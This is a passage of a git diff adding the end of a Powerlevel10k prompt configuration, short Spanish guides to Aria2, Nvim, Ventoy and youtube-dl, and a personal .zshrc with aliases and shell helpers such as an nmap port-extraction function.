config get-contexts`. + # + # If the context points to Google Kubernetes Engine (GKE) or Elastic Kubernetes Service (EKS), + # the following extra parameters are available: + # + # - P9K_KUBECONTEXT_CLOUD_NAME Either "gke" or "eks". + # - P9K_KUBECONTEXT_CLOUD_ACCOUNT Account/project ID. + # - P9K_KUBECONTEXT_CLOUD_ZONE Availability zone. + # - P9K_KUBECONTEXT_CLOUD_CLUSTER Cluster. + # + # P9K_KUBECONTEXT_CLOUD_* parameters are derived from P9K_KUBECONTEXT_CLUSTER. For example, + # if P9K_KUBECONTEXT_CLUSTER is "gke_my-account_us-east1-a_my-cluster-01": + # + # - P9K_KUBECONTEXT_CLOUD_NAME=gke + # - P9K_KUBECONTEXT_CLOUD_ACCOUNT=my-account + # - P9K_KUBECONTEXT_CLOUD_ZONE=us-east1-a + # - P9K_KUBECONTEXT_CLOUD_CLUSTER=my-cluster-01 + # + # If P9K_KUBECONTEXT_CLUSTER is "arn:aws:eks:us-east-1:123456789012:cluster/my-cluster-01": + # + # - P9K_KUBECONTEXT_CLOUD_NAME=eks + # - P9K_KUBECONTEXT_CLOUD_ACCOUNT=123456789012 + # - P9K_KUBECONTEXT_CLOUD_ZONE=us-east-1 + # - P9K_KUBECONTEXT_CLOUD_CLUSTER=my-cluster-01 + typeset -g POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION= + # Show P9K_KUBECONTEXT_CLOUD_CLUSTER if it's not empty and fall back to P9K_KUBECONTEXT_NAME. + POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION+='${P9K_KUBECONTEXT_CLOUD_CLUSTER:-${P9K_KUBECONTEXT_NAME}}' + # Append the current context's namespace if it's not "default". + POWERLEVEL9K_KUBECONTEXT_DEFAULT_CONTENT_EXPANSION+='${${:-/$P9K_KUBECONTEXT_NAMESPACE}:#/default}' + + # Custom prefix. + typeset -g POWERLEVEL9K_KUBECONTEXT_PREFIX='%246Fat ' + + #[ aws: aws profile (https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html) ]# + # Show aws only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show aws. + typeset -g POWERLEVEL9K_AWS_SHOW_ON_COMMAND='aws|awless|terraform|pulumi|terragrunt' + + # POWERLEVEL9K_AWS_CLASSES is an array with even number of elements. The first element + # in each pair defines a pattern against which the current AWS profile gets matched. + # More specifically, it's P9K_CONTENT prior to the application of context expansion (see below) + # that gets matched. If you unset all POWERLEVEL9K_AWS_*CONTENT_EXPANSION parameters, + # you'll see this value in your prompt. The second element of each pair in + # POWERLEVEL9K_AWS_CLASSES defines the profile class. Patterns are tried in order. The + # first match wins. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_AWS_CLASSES=( + # '*prod*' PROD + # '*test*' TEST + # '*' DEFAULT) + # + # If your current AWS profile is "company_test", its class is TEST + # because "company_test" doesn't match the pattern '*prod*' but does match '*test*'. + # + # You can define different colors, icons and content expansions for different classes: + # + # typeset -g POWERLEVEL9K_AWS_TEST_FOREGROUND=28 + # typeset -g POWERLEVEL9K_AWS_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_AWS_TEST_CONTENT_EXPANSION='> ${P9K_CONTENT} <' + typeset -g POWERLEVEL9K_AWS_CLASSES=( + # '*prod*' PROD # These values are examples that are unlikely + # '*test*' TEST # to match your needs. Customize them as needed. + '*' DEFAULT) + typeset -g POWERLEVEL9K_AWS_DEFAULT_FOREGROUND=208 + # typeset -g POWERLEVEL9K_AWS_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # AWS segment format. The following parameters are available within the expansion. + # + # - P9K_AWS_PROFILE The name of the current AWS profile. + # - P9K_AWS_REGION The region associated with the current AWS profile. + typeset -g POWERLEVEL9K_AWS_CONTENT_EXPANSION='${P9K_AWS_PROFILE//\%/%%}${P9K_AWS_REGION:+ ${P9K_AWS_REGION//\%/%%}}' + + #[ aws_eb_env: aws elastic beanstalk environment (https://aws.amazon.com/elasticbeanstalk/) ]# + # AWS Elastic Beanstalk environment color. + typeset -g POWERLEVEL9K_AWS_EB_ENV_FOREGROUND=70 + # Custom icon. + # typeset -g POWERLEVEL9K_AWS_EB_ENV_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ azure: azure account name (https://docs.microsoft.com/en-us/cli/azure) ]########## + # Show azure only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show azure. + typeset -g POWERLEVEL9K_AZURE_SHOW_ON_COMMAND='az|terraform|pulumi|terragrunt' + # Azure account name color. + typeset -g POWERLEVEL9K_AZURE_FOREGROUND=32 + # Custom icon. + # typeset -g POWERLEVEL9K_AZURE_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ##########[ gcloud: google cloud account and project (https://cloud.google.com/) ]########### + # Show gcloud only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show gcloud. + typeset -g POWERLEVEL9K_GCLOUD_SHOW_ON_COMMAND='gcloud|gcs|gsutil' + # Google cloud color. + typeset -g POWERLEVEL9K_GCLOUD_FOREGROUND=32 + + # Google cloud format. Change the value of POWERLEVEL9K_GCLOUD_PARTIAL_CONTENT_EXPANSION and/or + # POWERLEVEL9K_GCLOUD_COMPLETE_CONTENT_EXPANSION if the default is too verbose or not informative + # enough. You can use the following parameters in the expansions. Each of them corresponds to the + # output of `gcloud` tool. + # + # Parameter | Source + # -------------------------|-------------------------------------------------------------------- + # P9K_GCLOUD_CONFIGURATION | gcloud config configurations list --format='value(name)' + # P9K_GCLOUD_ACCOUNT | gcloud config get-value account + # P9K_GCLOUD_PROJECT_ID | gcloud config get-value project + # P9K_GCLOUD_PROJECT_NAME | gcloud projects describe $P9K_GCLOUD_PROJECT_ID --format='value(name)' + # + # Note: ${VARIABLE//\%/%%} expands to ${VARIABLE} with all occurrences of '%' replaced with '%%'. + # + # Obtaining project name requires sending a request to Google servers. This can take a long time + # and even fail. When project name is unknown, P9K_GCLOUD_PROJECT_NAME is not set and gcloud + # prompt segment is in state PARTIAL. When project name gets known, P9K_GCLOUD_PROJECT_NAME gets + # set and gcloud prompt segment transitions to state COMPLETE. + # + # You can customize the format, icon and colors of gcloud segment separately for states PARTIAL + # and COMPLETE. You can also hide gcloud in state PARTIAL by setting + # POWERLEVEL9K_GCLOUD_PARTIAL_VISUAL_IDENTIFIER_EXPANSION and + # POWERLEVEL9K_GCLOUD_PARTIAL_CONTENT_EXPANSION to empty. + typeset -g POWERLEVEL9K_GCLOUD_PARTIAL_CONTENT_EXPANSION='${P9K_GCLOUD_PROJECT_ID//\%/%%}' + typeset -g POWERLEVEL9K_GCLOUD_COMPLETE_CONTENT_EXPANSION='${P9K_GCLOUD_PROJECT_NAME//\%/%%}' + + # Send a request to Google (by means of `gcloud projects describe ...`) to obtain project name + # this often. Negative value disables periodic polling. In this mode project name is retrieved + # only when the current configuration, account or project id changes. + typeset -g POWERLEVEL9K_GCLOUD_REFRESH_PROJECT_NAME_SECONDS=60 + + # Custom icon. + # typeset -g POWERLEVEL9K_GCLOUD_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #[ google_app_cred: google application credentials (https://cloud.google.com/docs/authentication/production) ]# + # Show google_app_cred only when the command you are typing invokes one of these tools. + # Tip: Remove the next line to always show google_app_cred. + typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_SHOW_ON_COMMAND='terraform|pulumi|terragrunt' + + # Google application credentials classes for the purpose of using different colors, icons and + # expansions with different credentials. + # + # POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES is an array with even number of elements. The first + # element in each pair defines a pattern against which the current kubernetes context gets + # matched. More specifically, it's P9K_CONTENT prior to the application of context expansion + # (see below) that gets matched. If you unset all POWERLEVEL9K_GOOGLE_APP_CRED_*CONTENT_EXPANSION + # parameters, you'll see this value in your prompt. The second element of each pair in + # POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES defines the context class. Patterns are tried in order. + # The first match wins. + # + # For example, given these settings: + # + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES=( + # '*:*prod*:*' PROD + # '*:*test*:*' TEST + # '*' DEFAULT) + # + # If your current Google application credentials is "service_account deathray-testing x@y.com", + # its class is TEST because it doesn't match the pattern '* *prod* *' but does match '* *test* *'. + # + # You can define different colors, icons and content expansions for different classes: + # + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_FOREGROUND=28 + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_VISUAL_IDENTIFIER_EXPANSION='⭐' + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_TEST_CONTENT_EXPANSION='$P9K_GOOGLE_APP_CRED_PROJECT_ID' + typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_CLASSES=( + # '*:*prod*:*' PROD # These values are examples that are unlikely + # '*:*test*:*' TEST # to match your needs. Customize them as needed. + '*' DEFAULT) + typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_FOREGROUND=32 + # typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # Use POWERLEVEL9K_GOOGLE_APP_CRED_CONTENT_EXPANSION to specify the content displayed by + # google_app_cred segment. Parameter expansions are very flexible and fast, too. See reference: + # http://zsh.sourceforge.net/Doc/Release/Expansion.html#Parameter-Expansion. + # + # You can use the following parameters in the expansion. Each of them corresponds to one of the + # fields in the JSON file pointed to by GOOGLE_APPLICATION_CREDENTIALS. + # + # Parameter | JSON key file field + # ---------------------------------+--------------- + # P9K_GOOGLE_APP_CRED_TYPE | type + # P9K_GOOGLE_APP_CRED_PROJECT_ID | project_id + # P9K_GOOGLE_APP_CRED_CLIENT_EMAIL | client_email + # + # Note: ${VARIABLE//\%/%%} expands to ${VARIABLE} with all occurrences of '%' replaced by '%%'. + typeset -g POWERLEVEL9K_GOOGLE_APP_CRED_DEFAULT_CONTENT_EXPANSION='${P9K_GOOGLE_APP_CRED_PROJECT_ID//\%/%%}' + + ##############[ toolbox: toolbox name (https://github.com/containers/toolbox) ]############### + # Toolbox color. + typeset -g POWERLEVEL9K_TOOLBOX_FOREGROUND=178 + # Don't display the name of the toolbox if it matches fedora-toolbox-*. + typeset -g POWERLEVEL9K_TOOLBOX_CONTENT_EXPANSION='${P9K_TOOLBOX_NAME:#fedora-toolbox-*}' + # Custom icon. + # typeset -g POWERLEVEL9K_TOOLBOX_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + typeset -g POWERLEVEL9K_TOOLBOX_PREFIX='%246Fin ' + + ###############################[ public_ip: public IP address ]############################### + # Public IP color. + typeset -g POWERLEVEL9K_PUBLIC_IP_FOREGROUND=94 + # Custom icon. + # typeset -g POWERLEVEL9K_PUBLIC_IP_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ########################[ vpn_ip: virtual private network indicator ]######################### + # VPN IP color. + typeset -g POWERLEVEL9K_VPN_IP_FOREGROUND=81 + # When on VPN, show just an icon without the IP address. + # Tip: To display the private IP address when on VPN, remove the next line. + typeset -g POWERLEVEL9K_VPN_IP_CONTENT_EXPANSION= + # Regular expression for the VPN network interface. Run `ifconfig` or `ip -4 a show` while on VPN + # to see the name of the interface. + typeset -g POWERLEVEL9K_VPN_IP_INTERFACE='(gpd|wg|(.*tun)|tailscale)[0-9]*' + # If set to true, show one segment per matching network interface. If set to false, show only + # one segment corresponding to the first matching network interface. + # Tip: If you set it to true, you'll probably want to unset POWERLEVEL9K_VPN_IP_CONTENT_EXPANSION. + typeset -g POWERLEVEL9K_VPN_IP_SHOW_ALL=false + # Custom icon. + # typeset -g POWERLEVEL9K_VPN_IP_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ###########[ ip: ip address and bandwidth usage for a specified network interface ]########### + # IP color. + typeset -g POWERLEVEL9K_IP_FOREGROUND=38 + # The following parameters are accessible within the expansion: + # + # Parameter | Meaning + # ----------------------+------------------------------------------- + # P9K_IP_IP | IP address + # P9K_IP_INTERFACE | network interface + # P9K_IP_RX_BYTES | total number of bytes received + # P9K_IP_TX_BYTES | total number of bytes sent + # P9K_IP_RX_BYTES_DELTA | number of bytes received since last prompt + # P9K_IP_TX_BYTES_DELTA | number of bytes sent since last prompt + # P9K_IP_RX_RATE | receive rate (since last prompt) + # P9K_IP_TX_RATE | send rate (since last prompt) + typeset -g POWERLEVEL9K_IP_CONTENT_EXPANSION='${P9K_IP_RX_RATE:+%70F⇣$P9K_IP_RX_RATE }${P9K_IP_TX_RATE:+%215F⇡$P9K_IP_TX_RATE }%38F$P9K_IP_IP' + # Show information for the first network interface whose name matches this regular expression. + # Run `ifconfig` or `ip -4 a show` to see the names of all network interfaces. + typeset -g POWERLEVEL9K_IP_INTERFACE='[ew].*' + # Custom icon. + # typeset -g POWERLEVEL9K_IP_VISUAL_IDENTIFIER_EXPANSION='⭐' + + #########################[ proxy: system-wide http/https/ftp proxy ]########################## + # Proxy color. + typeset -g POWERLEVEL9K_PROXY_FOREGROUND=68 + # Custom icon. + # typeset -g POWERLEVEL9K_PROXY_VISUAL_IDENTIFIER_EXPANSION='⭐' + + ################################[ battery: internal battery ]################################# + # Show battery in red when it's below this level and not connected to power supply. + typeset -g POWERLEVEL9K_BATTERY_LOW_THRESHOLD=20 + typeset -g POWERLEVEL9K_BATTERY_LOW_FOREGROUND=160 + # Show battery in green when it's charging or fully charged. + typeset -g POWERLEVEL9K_BATTERY_{CHARGING,CHARGED}_FOREGROUND=70 + # Show battery in yellow when it's discharging. + typeset -g POWERLEVEL9K_BATTERY_DISCONNECTED_FOREGROUND=178 + # Battery pictograms going from low to high level of charge. + typeset -g POWERLEVEL9K_BATTERY_STAGES='\uf58d\uf579\uf57a\uf57b\uf57c\uf57d\uf57e\uf57f\uf580\uf581\uf578' + # Don't show the remaining time to charge/discharge. + typeset -g POWERLEVEL9K_BATTERY_VERBOSE=false + + #####################################[ wifi: wifi speed ]##################################### + # WiFi color. + typeset -g POWERLEVEL9K_WIFI_FOREGROUND=68 + # Custom icon. + # typeset -g POWERLEVEL9K_WIFI_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # Use different colors and icons depending on signal strength ($P9K_WIFI_BARS). + # + # # Wifi colors and icons for different signal strength levels (low to high). + # typeset -g my_wifi_fg=(68 68 68 68 68) # <-- change these values + # typeset -g my_wifi_icon=('WiFi' 'WiFi' 'WiFi' 'WiFi' 'WiFi') # <-- change these values + # + # typeset -g POWERLEVEL9K_WIFI_CONTENT_EXPANSION='%F{${my_wifi_fg[P9K_WIFI_BARS+1]}}$P9K_WIFI_LAST_TX_RATE Mbps' + # typeset -g POWERLEVEL9K_WIFI_VISUAL_IDENTIFIER_EXPANSION='%F{${my_wifi_fg[P9K_WIFI_BARS+1]}}${my_wifi_icon[P9K_WIFI_BARS+1]}' + # + # The following parameters are accessible within the expansions: + # + # Parameter | Meaning + # ----------------------+--------------- + # P9K_WIFI_SSID | service set identifier, a.k.a. network name + # P9K_WIFI_LINK_AUTH | authentication protocol such as "wpa2-psk" or "none"; empty if unknown + # P9K_WIFI_LAST_TX_RATE | wireless transmit rate in megabits per second + # P9K_WIFI_RSSI | signal strength in dBm, from -120 to 0 + # P9K_WIFI_NOISE | noise in dBm, from -120 to 0 + # P9K_WIFI_BARS | signal strength in bars, from 0 to 4 (derived from P9K_WIFI_RSSI and P9K_WIFI_NOISE) + + ####################################[ time: current time ]#################################### + # Current time color. + typeset -g POWERLEVEL9K_TIME_FOREGROUND=66 + # Format for the current time: 09:51:02. See `man 3 strftime`. + typeset -g POWERLEVEL9K_TIME_FORMAT='%D{%H:%M:%S}' + # If set to true, time will update when you hit enter. This way prompts for the past + # commands will contain the start times of their commands as opposed to the default + # behavior where they contain the end times of their preceding commands. + typeset -g POWERLEVEL9K_TIME_UPDATE_ON_COMMAND=false + # Custom icon. + # typeset -g POWERLEVEL9K_TIME_VISUAL_IDENTIFIER_EXPANSION='⭐' + # Custom prefix. + typeset -g POWERLEVEL9K_TIME_PREFIX='%246Fat ' + + # Example of a user-defined prompt segment. Function prompt_example will be called on every + # prompt if `example` prompt segment is added to POWERLEVEL9K_LEFT_PROMPT_ELEMENTS or + # POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS. It displays an icon and orange text greeting the user. + # + # Type `p10k help segment` for documentation and a more sophisticated example. + function prompt_example() { + p10k segment -f 208 -i '⭐' -t 'hello, %n' + } + + # User-defined prompt segments may optionally provide an instant_prompt_* function. Its job + # is to generate the prompt segment for display in instant prompt. See + # https://github.com/romkatv/powerlevel10k/blob/master/README.md#instant-prompt. + # + # Powerlevel10k will call instant_prompt_* at the same time as the regular prompt_* function + # and will record all `p10k segment` calls it makes. When displaying instant prompt, Powerlevel10k + # will replay these calls without actually calling instant_prompt_*. It is imperative that + # instant_prompt_* always makes the same `p10k segment` calls regardless of environment. If this + # rule is not observed, the content of instant prompt will be incorrect. + # + # Usually, you should either not define instant_prompt_* or simply call prompt_* from it. If + # instant_prompt_* is not defined for a segment, the segment won't be shown in instant prompt. + function instant_prompt_example() { + # Since prompt_example always makes the same `p10k segment` calls, we can call it from + # instant_prompt_example. This will give us the same `example` prompt segment in the instant + # and regular prompts. + prompt_example + } + + # User-defined prompt segments can be customized the same way as built-in segments. + # typeset -g POWERLEVEL9K_EXAMPLE_FOREGROUND=208 + # typeset -g POWERLEVEL9K_EXAMPLE_VISUAL_IDENTIFIER_EXPANSION='⭐' + + # Transient prompt works similarly to the builtin transient_rprompt option. It trims down prompt + # when accepting a command line. Supported values: + # + # - off: Don't change prompt when accepting a command line. + # - always: Trim down prompt when accepting a command line. + # - same-dir: Trim down prompt when accepting a command line unless this is the first command + # typed after changing current working directory. + typeset -g POWERLEVEL9K_TRANSIENT_PROMPT=always + + # Instant prompt mode. + # + # - off: Disable instant prompt. Choose this if you've tried instant prompt and found + # it incompatible with your zsh configuration files. + # - quiet: Enable instant prompt and don't print warnings when detecting console output + # during zsh initialization. Choose this if you've read and understood + # https://github.com/romkatv/powerlevel10k/blob/master/README.md#instant-prompt. + # - verbose: Enable instant prompt and print a warning when detecting console output during + # zsh initialization. Choose this if you've never tried instant prompt, haven't + # seen the warning, or if you are unsure what this all means. + typeset -g POWERLEVEL9K_INSTANT_PROMPT=quiet + + # Hot reload allows you to change POWERLEVEL9K options after Powerlevel10k has been initialized. + # For example, you can type POWERLEVEL9K_BACKGROUND=red and see your prompt turn red. Hot reload + # can slow down prompt by 1-2 milliseconds, so it's better to keep it turned off unless you + # really need it. + typeset -g POWERLEVEL9K_DISABLE_HOT_RELOAD=true + + # If p10k is already loaded, reload configuration. + # This works even with POWERLEVEL9K_DISABLE_HOT_RELOAD=true. + (( ! $+functions[p10k] )) || p10k reload +} + +# Tell `p10k configure` which file it should overwrite. +typeset -g POWERLEVEL9K_CONFIG_FILE=${${(%):-%x}:a} + +(( ${#p10k_config_opts} )) && setopt ${p10k_config_opts[@]} +'builtin' 'unset' 'p10k_config_opts' diff --git a/Web/Linux/Programas_para_Linux/Aria2.md b/Web/Linux/Programas_para_Linux/Aria2.md new file mode 100644 index 00000000000..1cc2527bfb2 --- /dev/null +++ b/Web/Linux/Programas_para_Linux/Aria2.md @@ -0,0 +1,50 @@ +# Aria2 + +### ¿Qué es Aria2? + +Se trata de una herramienta para descargar archivos por torrent desde la terminal. Es un método sencillo pero tiene la desventaja de que puede descargar +pocos torrents al mismo tiempo, ya que si tratamos de descargar varios al mismo tiempo la velocidad de descarga se ve muy afectada. + +### Instalar: + + sudo apt install aria2 + +### Para descargar archivos.torrent: + +Podemos realizar la descarga con un archivo .torrent: + + aria2c "archivo.torrent" + +Tambien podemos descargar el torrent directamente con la url: + + aria2c "URL del Torrent" + +Los archvios descargados se guardan de forma automática en el directorio `/home/user/`. + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Linux/Programas_para_Linux/Nvim.md b/Web/Linux/Programas_para_Linux/Nvim.md new file mode 100644 index 00000000000..d7a4f5e3a80 --- /dev/null +++ b/Web/Linux/Programas_para_Linux/Nvim.md @@ -0,0 +1,5 @@ +# Nvim + +Abrir consola inferior para introducir comandos: `Pulsar ESC` seguido `: ` + + diff --git a/Web/Linux/Programas_para_Linux/Ventoy.md b/Web/Linux/Programas_para_Linux/Ventoy.md new file mode 100644 index 00000000000..4a6ceb96c88 --- /dev/null +++ b/Web/Linux/Programas_para_Linux/Ventoy.md @@ -0,0 +1,90 @@ +# Ventoy + +# ¿Qué es Ventoy? + +Ventoy es un utilitario libre y de código abierto que se utiliza para escribir archivos de imagen como.iso,.wim,.img,.vhd y.efi en medios +de almacenamiento para crear unidades flash USB de arranque. + +# Instalación: + +Para proceder con la instalación, en primer lugar, debemos descargarnos el programa, podemos hacerlo desde su web oficial +[`https://ventoy.net/en/download.html`](https://ventoy.net/en/download.html) o si estamos utilizando Linux podemos clonarlo directamente de GitHub +mediante el comando: + + git clone https://github.com/ventoy/Ventoy.git + +Una vez descargado, creraremos un directorio llamado `Ventoy` y movemos el archivo descargado para luego proceder a descomprimirlo: + + mkdir Ventoy & mv ventoy-1.0.74-linux.tar.gz ./Ventoy + +![Captura de pantalla -2022-05-14 13-42-15](https://user-images.githubusercontent.com/103068924/168425974-fbf6b698-db6a-41e0-9451-94742987fdc4.png) + +![Captura de pantalla -2022-05-14 13-42-50](https://user-images.githubusercontent.com/103068924/168425978-60adeed7-791a-4d9c-b2c0-cc7dcca00c02.png) + +Descomprimimos el archivo. Para ello nos dirigimos al directorio donde se encuentre el archivo descargado y ejecutamos el siguiente +comando: + + tar -xf [Archivo.tar.gz] + +![Captura de pantalla -2022-05-14 13-44-58](https://user-images.githubusercontent.com/103068924/168425984-0aee4b1c-34a5-46a6-9c20-f46e238b224e.png) + +Una vez descomprimido, vemos que nos aparece una carpeta nueva en el mismo directorio. Ya disponemos de Ventoy y podemos borrar el archivo `.tar.gz` que +hemos descomprimido. Finalmente, para instalarlo ejecutamos: + + ./VentoyGUI.x86_64 + +Se nos abrirá una interfaz gráfica desde la cual realizamos la instalación de Ventoy en cualquier USB. + +# Bootear USB con Ventoy: + +Una vez tenemos Ventoy instalado y un USB listo en nuestro PC, lo primero que tendremos que hacer es formatear y montar el USB. Para ello en primer lugar +identificamos su directorio: + + fdisk -l + +Vemos que el directorio de nuestro USB es el `/dev/sdb`. El siguiente paso será abrir una terminal desde el directorio que contiene el programa Ventoy, +(la carpeta descomprimida anteriormente) y proceder a montar Ventoy mediante el siguiente comando: + + sudo sh Ventoy2Disk.sh -i /dev/sdb + +Al terminar se nos avisará de que la instalación se ha ejecutado correctamente o de si debemos realizar algún procedimiento adicional. + +Una vez montado Ventoy en nuestro USB, veremos que el nombre de nuestro dispositivo USB abra pasado a llamarse Ventoy. + +Ahora, para montar un archivo `.iso` lo único que debemos hacer es copiarlo dentro del USB. Podemos copiar varios archivos `.iso`, ya que antes +de realizar el arranque nos preguntara que Sistema Operativo deseamos ejecutar. Es importante que el dispositivo USB tenga espacio de sobra para +poder almacenar los distintos archivos.iso. + +Finalmente, una vez copiadas las .iso podemos arrancar el PC desde la Bios y seleccionar el Sistema Operativo que queramos. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + + + diff --git a/Web/Linux/Programas_para_Linux/Youtube-dl.md b/Web/Linux/Programas_para_Linux/Youtube-dl.md new file mode 100644 index 00000000000..798e5922ed2 --- /dev/null +++ b/Web/Linux/Programas_para_Linux/Youtube-dl.md @@ -0,0 +1,66 @@ +# Descargar contenido de YouTube desde la Terminal + +Para poder Descargar tanto los videos como el audio directamente desde YouTube a la Terminal, utilizaremos la herramienta `youtube-dl`. Para poder +usarla primero tendremos que descargarla. En mi caso utilizo ParrotOS, por tanto, estos comandos solo valdrán para sistemas operativos basados en +Debian. + +# Instalación: + + sudo apt-get install youtube-dl + +![Captura de pantalla -2022-05-02 09-26-55](https://user-images.githubusercontent.com/103068924/166200218-ec2457be-ca78-4b34-8d0e-2f821a4be467.png) + +# Ejecución: +Para descargar los archivos copiamos la URL de los videos que queramos de YouTube y ejecutamos los siguientes comandos. Los archivos se descargarán en +el directorio en el que nos encontremos. + +### Descargar Video: + + youtube-dl 'URL del Video' + +![Captura de pantalla -2022-05-02 09-32-29](https://user-images.githubusercontent.com/103068924/166200252-d1f5d77c-6ca0-466a-87cd-d25d007bc227.png) + +![Captura de pantalla -2022-05-02 09-30-17](https://user-images.githubusercontent.com/103068924/166200269-4a78207d-9805-4ecd-ac4c-0b5484065fb8.png) + +### Descargar solo Audio: + + youtube-dl -x --audio-format mp3 'URL del Video' + +`-x` : Convierte los archivos en archivos solo de audio. + +`--audio-format` : Para poder especificar el formato de audio en el que descargaremos el archivo. + +`mp3` : Formato en el que se descargará el archivo. + +![Captura de pantalla -2022-05-02 09-31-43](https://user-images.githubusercontent.com/103068924/166200319-033b31d2-5449-424c-8d5f-48825f2a7ab6.png) + +![Captura de pantalla -2022-05-02 09-31-26](https://user-images.githubusercontent.com/103068924/166200328-7fde4817-aa25-4184-ab00-4fbc6caa8af0.png) + +Mediante Youtube-dl podemos descargar archivos de audio en los formatos: `acc`, `vorbis`, `mp3`, `m4a`, `opus` y `wav`. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Linux/ZSH/.zshrc b/Web/Linux/ZSH/.zshrc new file mode 100644 index 00000000000..85e1dcef3c9 --- /dev/null +++ b/Web/Linux/ZSH/.zshrc @@ -0,0 +1,139 @@ +# Fix the Java Problem +export _JAVA_AWT_WM_NONREPARENTING=1 + +# Enable Powerlevel10k instant prompt. Should stay at the top of ~/.zshrc. +if [[ -r "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" ]]; then + source "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" +fi + +# Set up the prompt + +autoload -Uz promptinit +promptinit +prompt adam1 + +setopt histignorealldups sharehistory + +# Use emacs keybindings even if our EDITOR is set to vi +bindkey -e + +# Keep 1000 lines of history within the shell and save it to ~/.zsh_history: +HISTSIZE=1000 +SAVEHIST=1000 +HISTFILE=~/.zsh_history + +# Use modern completion system +autoload -Uz compinit +compinit + +zstyle ':completion:*' auto-description 'specify: %d' +zstyle ':completion:*' completer _expand _complete _correct _approximate +zstyle ':completion:*' format 'Completing %d' +zstyle ':completion:*' group-name '' +zstyle ':completion:*' menu select=2 +eval "$(dircolors -b)" +zstyle ':completion:*:default' list-colors ${(s.:.)LS_COLORS} +zstyle ':completion:*' list-colors '' +zstyle ':completion:*' list-prompt %SAt %p: Hit TAB for more, or the character to insert%s +zstyle ':completion:*' matcher-list '' 'm:{a-z}={A-Z}' 'm:{a-zA-Z}={A-Za-z}' 'r:|[._-]=* r:|=* l:|=*' +zstyle ':completion:*' menu select=long +zstyle ':completion:*' select-prompt %SScrolling active: current selection at %p%s +zstyle ':completion:*' use-compctl false +zstyle ':completion:*' verbose true + +zstyle ':completion:*:*:kill:*:processes' list-colors '=(#b) #([0-9]#)*=0=01;31' +zstyle ':completion:*:kill:*' command 'ps -u $USER -o pid,%cpu,tty,cputime,cmd' +source /home/firox/powerlevel10k/powerlevel10k.zsh-theme + +# To customize prompt, run `p10k configure` or edit ~/.p10k.zsh. +[[ -f ~/.p10k.zsh ]] && source ~/.p10k.zsh + +# Manual configuration + +PATH=/root/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# Manual aliases +alias ll='lsd -lh --group-dirs=first' +alias la='lsd -a --group-dirs=first' +alias l='lsd --group-dirs=first' +alias lla='lsd -lha --group-dirs=first' +alias ls='lsd --group-dirs=first' +alias cat='/bin/bat' +alias catn='/bin/cat' +alias catnl='/bin/cat --paging=never' + +[ -f ~/.fzf.zsh ] && source ~/.fzf.zsh + +# Plugins +source /usr/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh +source /usr/share/zsh-autosuggestions/zsh-autosuggestions.zsh +source /usr/share/zsh-plugins/sudo.plugin.zsh + +# Functions +function mkt(){ + mkdir {nmap,content,exploits,scripts} +} + +# Extract nmap information +function extractPorts(){ + ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" + ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" + echo -e "\n[*] Extracting information...\n" > extractPorts.tmp + echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp + echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp + echo $ports | tr -d '\n' | xclip -sel clip + echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp + cat extractPorts.tmp; rm extractPorts.tmp +} + +# Set 'man' colors +function man() { + env \ + LESS_TERMCAP_mb=$'\e[01;31m' \ + LESS_TERMCAP_md=$'\e[01;31m' \ + LESS_TERMCAP_me=$'\e[0m' \ + LESS_TERMCAP_se=$'\e[0m' \ + LESS_TERMCAP_so=$'\e[01;44;33m' \ + LESS_TERMCAP_ue=$'\e[0m' \ + LESS_TERMCAP_us=$'\e[01;32m' \ + man "$@" +} + +# fzf improvement +function fzf-lovely(){ + + if [ "$1" = "h" ]; then + fzf -m --reverse --preview-window down:20 --preview '[[ $(file --mime {}) =~ binary ]] && + echo {} is a binary file || + (bat --style=numbers --color=always {} || + highlight -O ansi -l {} || + coderay {} || + rougify {} || + cat {}) 2> /dev/null | head -500' + + else + fzf -m --preview '[[ $(file --mime {}) =~ binary ]] && + echo {} is a binary file || + (bat --style=numbers 